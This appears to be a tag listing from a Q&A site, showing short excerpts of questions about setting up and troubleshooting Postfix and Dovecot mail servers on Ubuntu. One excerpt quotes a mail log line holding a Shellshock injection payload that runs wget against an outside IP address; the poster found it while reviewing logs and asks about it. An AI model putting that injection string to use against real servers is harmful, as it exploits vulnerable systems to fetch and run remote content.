Tagged Questions

Open source email server for Unix

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0
votes
0answers
8 views

DKIM config for multidomain : message not signed

I’m trying to setup DKIM for a multidomain server. Everything looks fine BUT the messages are not signed. I followed How To Install and Configure DKIM with Postfix on Debian Wheezy tutorial and ...
0
votes
0answers
8 views

Dovecot stuck in stop/waiting

im trying to build a mail server (postfix + dovecot). after the installation, tried to check if dovecot is working by : service dovecot status: start/prestart statement. the only thing i did was ...
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0answers
73 views

Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
1
vote
1answer
19 views

email - Postfix name issue with using $header “name <email>”

I've set up Postfix on my Ubuntu+Nginx machine to send mail and I'm running in to one issue. The issue is that the from name is www-data with the email ...
0
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0answers
42 views

Create virtual email account in Dovecot

I'v installed Postfix(my mailbox format is Maildir) and Dovecot, but I have to add system user for new email account. I tried this, but I couldn't run Mailserver with virtual accounts. I can't ...
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0answers
10 views

Can postfix receive emails on it's own?

I am configuring a Postfix server right now and want to clear up some things I am not quite sure about. For what I know Postfix is a MTA (Mail Transfer Agent) that can send and receive emails. That ...
0
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0answers
10 views

Dovecot mail delivery location issue

I just setup a mail server on my digitalocean.com droplet. It is using postfix, dovecot & mbox. I have it configured in gmail and it is sending and receiving. The problem though, is that when a ...
2
votes
2answers
30 views

how to sent mail from my Ubuntu server

I am a beginner in mail server. I want to set up my own mail server so that I can send mail from my server to anyone. I have also installed postfix. How do I set this up? What do I need? How do I ...
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0answers
12 views

Is possible to use postfix with many domains like a host in ubuntu?

I'm trying to install postfix with pop and imap support in ubuntu linux to use it with many domains. Someone knows where i can find a good tutorial ? I hear someone talking about use MySQL to store ...
0
votes
1answer
17 views

Postfix can send but not receive mail

I just finished following this tutorial to set up a postfix mail server on ubuntu 14.04: https://www.digitalocean.com/community/tutorials/how-to-install-and-setup-postfix-on-ubuntu-14-04 When I ...
0
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0answers
24 views

Postfix - Cannot receive emails

I'm trying with no success to setup Postfix on my server so I need some help (first timer here). Basically I cannot receive emails from anywhere. If I send an email to myself or to another address ...
1
vote
2answers
44 views

How to make crontab email me with output?

How can I make crontab email me with the output of its jobs? I have MAILTO=redacted@yahoo.com.au above the jobs, but it doesn't work. I know I need to use something like Postfix or Sendmail but for ...
0
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0answers
14 views

Postfix has stopped logging

After hearing about the BASH bug a week ago I decided to update my whole server using apt-get update && apt-get upgrade Today I have noticed that postfix has stopped logging my mail ...
0
votes
0answers
49 views

Does someone have access to my server's postfix?

How can Google recieve emais originating from my servers IP address, unless an attacker has access? So how do I prevent an attacker from getting access? I'm very lost... short log from ...
1
vote
1answer
78 views

Postfix 2.11.0, Error Code: Relay access denied 554.5.7.1, Rejects all external in-bound emails

Some TLC needed here. I am building this postfix/dovecot/clamav mail server following the tutorial here: https://www.exratione.com/2014/05/a-mailserver-on-ubuntu-1404-postfix-dovecot-mysql/ The issue ...
0
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0answers
24 views

How to add a sender header to emails sent by postfix 2.11

I'm not getting a reply after sending a mail to autoanswer@vger.kernel.org which I need to verify that my domain richtercloud.de served by a postfix 2.11 server on Ubuntu 14.04 can be used for ...
0
votes
1answer
58 views

Fatal: No SASL authentication mechanism

root@server:~# postconf -n append_dot_mydomain = no biff = no broken_sasl_auth_clients = yes config_directory = /etc/postfix disable_vrfy_command = yes ...
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0answers
22 views

Configure cron to include FQDN in email

We have machines named like so: serverA.subdomainA.TLD.co serverA.subdomainB.TLD.co Works fine for us, except when I get an email from cron, the messages looks like: From: root@tld.com ...
0
votes
2answers
55 views

postfix/submission/smtpd Relay Access Denied

Getting error 'Relay access denied' At outlook, set port 587 for smtp and 993 for imap at Ubunut LTS. My configuration is: root@server:~# postconf -n append_dot_mydomain = no biff = no ...
0
votes
0answers
28 views

Postfix Joomla Mail Configuration

Hello I am trying to setup mail configuration for Joomla. My server has postfix/dovecot installed and working. (I can receive and send mails globally). I can send an e-mail successfully (I received ...
0
votes
3answers
170 views

Postfix/ Dovecot and MySQL

I have an issue in authenticating users using postfix/ dovecot with mysql at ubuntu LTS. Outlook connected to the server but got error for authentication. below is posfix configuration settings: ...
0
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0answers
45 views

Postfix does not store mail in Maildir/ format even though home_mailbox is set to Maildir/

The following problem occurs on a simple mail server for testing purposes. It consists of a Postfix and Dovecot installation and is meant to deliver mails from a client to local accounts living on the ...
0
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0answers
49 views

How to configure Postfix, stunnel for AWS SES?

I have been trying to set up SES on our EC2 running ubuntu. I have followed the instructions on their docs page but not able to figure out what's wrong. I'm a newbie that's why i'm looking for a ...
0
votes
1answer
35 views

POSTFIX+OPENDKIM : How to reject untrusted domains without keeping mails in queue?

We needed to create a smtp server for our webapps. This server turns Under Ubuntu with Postfix and Opendkim. We have 40 domains with 40 DKIM keys. My config is the same as described here : ...
0
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0answers
52 views

Joomla with postfix php mail not working

I am getting this error in mail.log (after trying to submit a contact form): fatal: Recipient addresses must be specified on the command line or via the -t option Its worth mentioning that I have ...
1
vote
2answers
160 views

Missing X-Spam-Status header

I recently upgraded to Ubuntu 14.04.1 LTS (trusty) and have followed the directions in https://help.ubuntu.com/14.04/serverguide/mail-filtering.html and am sending and receiving mail just fine. While ...
1
vote
0answers
24 views

Need help with Postfix canonical mapping

I’m having difficulty getting the canonical_maps function to work as needed to repair some incorrect addresses from a legacy client. Here’s the situation and what I’ve tried so far: Legacy client ...
0
votes
0answers
89 views

Ubuntu Zpanel Unable to receive e-mail

I am able to send e-mail from my zpanel mailboxes but am unable to receive any e-mails. I get this error from gmail when I try to send e-mail to my mailboxes: mail exchanger not found. My domain ...
0
votes
0answers
19 views

postfix sasl auth on Ubuntu server

I can connect to the mail server over telnet and send messages to local users without authentication. Is it the reject_unauth_destination parameter that permits this? What is the recommended practice ...
0
votes
0answers
49 views

Help by installing mail server with virtual host

04 and I find a lot of articles about installing mail server on Ubuntu but it is not working. Can you help me with some tutorial? I want to install and configure my own mail server with virtual users. ...
0
votes
1answer
29 views

Is there an email package that has a easy to use GUI?

I finally got Postfix installed and running, but adding / removing users etc isnt as easy as a web based tool. Is there any software packages I could install that would make managing email easier for ...
0
votes
1answer
1k views

Postfix Using Gmail Relay: Must issue a STARTTLS command first

I get this error: Must issue a STARTTLS command first with all sent mail. Can anyone see why? main.cf: relayhost=[smtp.gmail.com]:587 smtp_connection_cache_destinations= [smtp.gmail.com]:587 #TLS ...
0
votes
0answers
161 views

mail delivery errors - ssmtp, mailutils, postfix

Afternoon everyone, I do not run a mail server. I am only trying to send an email with an attachment via a bash script. I have been working for the past couple of days to get this up and running. ...
0
votes
0answers
302 views

PHP mail not working on Ubuntu server

I have set up a development server using Ubuntu Server. I have configured postfix to send mail and I am able to send mail through the command line using for example: echo testing | mail -s Bla ...
1
vote
1answer
39 views

A question on mysql command

I want to config postfix. I followed these instructions. On the first step I saw this mysql command: mysql > GRANT SELECT ON servermail.* TO 'usermail'@'127.0.0.1' IDENTIFIED BY 'mailpassword'; ...
0
votes
0answers
23 views

Postfix/Dovecot issue

I installed Postfix/Dovecot locally on Ubuntu server, I can mail from Ubuntu server to any user in my local users database (/etc/passwd) and I can receive messages well (by using mail command). On MUA ...
0
votes
0answers
243 views

Postfix - Unable to connect to remote host: Connection refused

I am running this command: telnet 87.106.xxx.xxx 25 And it says Trying 87.106.xxx.xxx... telnet: Unable to connect to remote host: Connection refused But telnet localhost is running properly. ...
1
vote
0answers
61 views

Corrupt PostFix Installv

I accidently removed some files that postfix needs and now it will not install or uninstall have tried: sudo apt-get purge postfix sudo apt-get remove postfix sudo apt-get upgrade sudo apt-get ...
0
votes
1answer
420 views

Cron job not running - postfix/sendmail error

Here is my content of sudo crontab -e @hourly /home/userName/ntpdate.sh The content of my script (ntpdate.sh) //.25 is my ntp server echo "Current time is $(date), " >> ...
0
votes
0answers
13 views

POP3 Access to a Postfix based email system using Courier

I am trying to use courier-pop so I can access my email from 3rd party email clients such as Gmail that rely on pop3 based methods. I am recieving connection timeout errors trying to connect to my ...
0
votes
0answers
23 views

What is the difference between postfix and mailsutils?

I am attempting to set up an AWS EC2 with a simple mailing service for my crontab. And I have postfix set up, but when I used the "mail" command it did not work. So I installed mailutils as ubuntu ...
0
votes
1answer
331 views

postfix warning messages: override earlier entry

I have configured postfix with satellite configuration. I found the following warnings in my syslog. Any idea what it means? and How could I resolve this problem? Jul 16 13:39:24 mou-lanister ...
0
votes
1answer
200 views

Server side filtering - Courier, Postfix, Roundcube

I have a mail server running Postfix, Courier, and Roundcube. I'm looking to add the ability for a user to assign their own custom mail filters from the web. I haven't yet found a way I can do this, ...
0
votes
0answers
189 views

Fresh install of Postfix can send mail but not receive it. Which setting to tweak to receive mail?

My server is a VPS; I'm the only user on it. Although I'd eventually like to have multiple emails for my multiple domains, today I'd be happy to be able to receive mail on just one. Could someone ...
0
votes
0answers
135 views

How to integrate postfix/dovecote with Windows AD

I have postfix/dovecote Ubuntu server and it's working fine, also I have Active Directory Windows 2008, I want to make email clients to get authenticated from windows AD and automatically create ...
0
votes
2answers
22 views

Postfix suggests a bunch of other packages on install.What are they and should I install them?

Postfix suggests these packages on install: procmail postfix-mysql postfix-pgsql postfix-ldap postfix-pcre sasl2-bin dovecot-common postfix-cdb postfix-doc I know what procmail and dovecot are. ...
0
votes
1answer
199 views

How to test out the SMTP Server?

I am testing my SMTP Server through wormly.com When I do the test, I end up with > SMTP -> FROM SERVER: 250 2.1.0 Ok RCPT TO: mygmailaddress@gmail.com > SMTP -> FROM SERVER: 554 5.7.1 : ...
2
votes
1answer
262 views

Mail Server Postfix + Dovecot

I'm running mail server on Ubuntu 12.04 and box has Web Server + Mail Server (Postfix + Dovecot). This is Virtual Machine setup on Windows Azure cloud. Problem: I'm unable to send emails outside ...
0
votes
0answers
65 views

Configuring Gmail with Postfix

I am trying to configure Gmail with Postfix so I can sent emails via command line. this is mine /etc/postfix/main.cf alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases ...
1
vote
1answer
172 views

How to set up a mail server with multiple domains (12.04)

I'm the only user on my server, so the default install of postfix/dovecot has been fine until now. But I now have 4 domains and need an email address for each of them. I would like to be able to ...